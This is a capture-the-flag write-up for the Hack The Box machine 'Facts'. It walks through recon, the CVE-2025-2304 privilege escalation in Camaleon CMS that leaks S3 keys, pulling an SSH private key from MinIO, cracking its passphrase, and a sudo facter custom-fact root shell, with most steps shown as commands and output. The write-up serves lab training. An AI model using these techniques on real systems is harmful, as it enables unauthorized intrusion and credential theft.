Facts WriteUp

Table of Contents

Facts WriteUp

Facts is a 🟩 Easy difficulty machine on Hack The Box. It chains the exploitation of a web CMS with a credential leak into a MinIO S3-compatible storage server, from which we extract a password-protected SSH private key. Privilege escalation is achieved by abusing a binary allowed via sudo.

πŸ—ΊοΈ Attack Chain

Nmap β†’ Port 80 (CamaleonCMS 2.9.0) + Port 54321 (MinIO)
      β”‚
      β–Ό
CVE-2025-2304 β†’ Privilege Escalation + S3 Config Leak
      β”‚
      β–Ό
MinIO Credentials β†’ Bucket "internal"
      β”‚
      β–Ό
.ssh/id_ed25519 (encrypted private key)
      β”‚
      β–Ό
ssh2john + john β†’ passphrase: dragonballz β†’ user: trivia
      β”‚
      β–Ό
sudo /usr/bin/facter β†’ custom fact (.rb) β†’ /bin/bash as root 🏴

πŸ” Reconnaissance

Port Scanning

We perform reconnaissance in two phases: fast discovery followed by version detection on the found ports.

Add facts.htb to /etc/hosts:

echo "10.129.21.92 facts.htb" | sudo tee -a /etc/hosts

Phase 1 - Fast TCP port discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv facts.htb

Phase 2 - Version detection and scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv facts.htb

Relevant ports found:

PortServiceDetail
22SSHOpenSSH 9.9p1 Ubuntu
80HTTPnginx 1.26.3 β†’ redirects to facts.htb
54321HTTPGolang net/http β†’ MinIO (S3 API)

πŸ’‘ Note on TCP/54321: Nmap identifies the server as MinIO via the X-Amz-* response headers. We set it aside for now and start with port 80.

🌐 Port 80 - CamaleonCMS

We land on a blog where the administrator posts fun facts. We fuzz for directories:

gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
admin   (Status: 302) [--> http://facts.htb/admin/login]
robots  (Status: 200)
search  (Status: 200)
...

At /admin/login we can register an account. Once inside the panel, we see it runs Camaleon CMS v2.9.0.

⚠️ We tested SQLi and XSS in the search field and comments β€” neither is exploitable. The admin panel is the attack vector.

CVE-2025-2304 - Privilege Escalation + S3 Config Leak

A quick search leads us to CVE-2025-2304 , an authenticated privilege escalation vulnerability in Camaleon CMS 2.9.0 that also leaks the S3 storage credentials configured in the CMS.

We use the public PoC :

python exploit.py -u http://facts.htb -U username -P password -e
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIA0BFEDFE75637E79F
   s3 secret key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
   s3 endpoint: http://localhost:54321
[+]Reverting User Role

🎯 S3 credentials obtained. The endpoint points to the MinIO server we saw on port 54321, confirming the CMS uses MinIO as its storage backend.

πŸͺ£ Port 54321 - MinIO (S3 API)

What is MinIO?

🧠 Concept: S3 (Simple Storage Service) is an object storage system with an API the industry has adopted as a de facto standard (AWS, GCP, Azure). A bucket is the root container where objects are stored β€” the structure is flat, there are no real subdirectories, and the path is part of the object’s key (name). MinIO is an open-source, self-hostable implementation fully compatible with the S3 API.

We configure a profile in the aws CLI using the obtained credentials:

aws configure --profile facts
# AWS Access Key ID:     AKIA0BFEDFE75637E79F
# AWS Secret Access Key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
# Default region name:   us-east-1
# Default output format: json

Bucket Enumeration

aws --endpoint-url http://facts.htb:54321 s3 ls --profile facts
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts

The randomfacts bucket only contains blog images. We focus on internal:

aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --profile facts --recursive | grep -v ".bundle"
2026-01-08 19:45:13        220 .bash_logout
2026-01-08 19:45:13       3900 .bashrc
2026-01-08 20:01:43          0 .cache/motd.legal-displayed
2026-01-08 19:47:17         20 .lesshst
2026-01-08 19:47:17        807 .profile
2026-04-05 09:40:42         82 .ssh/authorized_keys
2026-04-05 09:40:42        464 .ssh/id_ed25519

⚠️ The internal bucket looks like a user’s home directory β€” it contains .bashrc, .profile, and most importantly: an SSH private key.

Downloading the Private Key

aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_facts --profile facts

πŸ”‘ SSH Private Key - User Identification and Cracking

The key is passphrase-protected. Before cracking it, we verify that the private key matches the public key in authorized_keys by comparing their fingerprints:

# Private key fingerprint (will fail on passphrase but shows fingerprint)
ssh user@facts.htb -i id_facts -v 2>&1 | grep "SHA256"
# debug1: Will attempt key: id_facts ED25519 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY explicit

# Public key fingerprint from authorized_keys
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys ./authorized_keys --profile facts
ssh-keygen -l -f authorized_keys
# 256 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY no comment (ED25519)

βœ… Fingerprints match β€” the private key works for the user who owns that authorized_keys.

Cracking the Passphrase

We convert the key from ssh format to a john-compatible hash:

ssh2john id_facts > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
dragonballz      (id_facts)     
1g 0:00:01:41 DONE

User Identification

With the passphrase we can extract the public key, which includes the comment with the username:

chmod 600 id_facts
ssh-keygen -y -f id_facts # dragonballz
# ssh-ed25519 AAAAC3...ohxpLN trivia@facts.htb

🎯 User identified: trivia

πŸ’‰ Initial Access

ssh trivia@facts.htb -i id_facts # dragonballz

🚩 User Flag

cat /home/william/user.txt

πŸ§— Privilege Escalation

First thing after getting in, we check sudo permissions:

sudo -l
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter is a system data collection tool written in Ruby, typically used by Puppet. It accepts a custom facts directory via the --custom-dir flag β€” .rb files that define how to compute a new fact.

We abuse this by providing a custom fact that instead launches /bin/bash:

mkdir /tmp/exploit
echo "Facter.add(:shell) do setcode do system('/bin/bash') end end" > /tmp/exploit/shell.rb
sudo /usr/bin/facter --custom-dir=/tmp/exploit
root@facts:/tmp/exploit#

βœ… Root shell obtained by abusing a facter custom fact.

🏴 Root Flag

cat /root/root.txt

πŸ“ Attack Chain Summary

#TechniqueToolResult
1Reconnaissancenmap, gobusterCamaleonCMS 2.9.0 + MinIO on :54321
2CVE-2025-2304exploit.pyMinIO S3 credentials
3S3 enumerationaws CLISSH private key in bucket internal
4Passphrase crackingssh2john, johnpassphrase: dragonballz β†’ user: trivia
5Initial accesssshShell as trivia
6Sudo abuse (facter)Custom fact .rbShell as root 🏴

See you in the next challenge.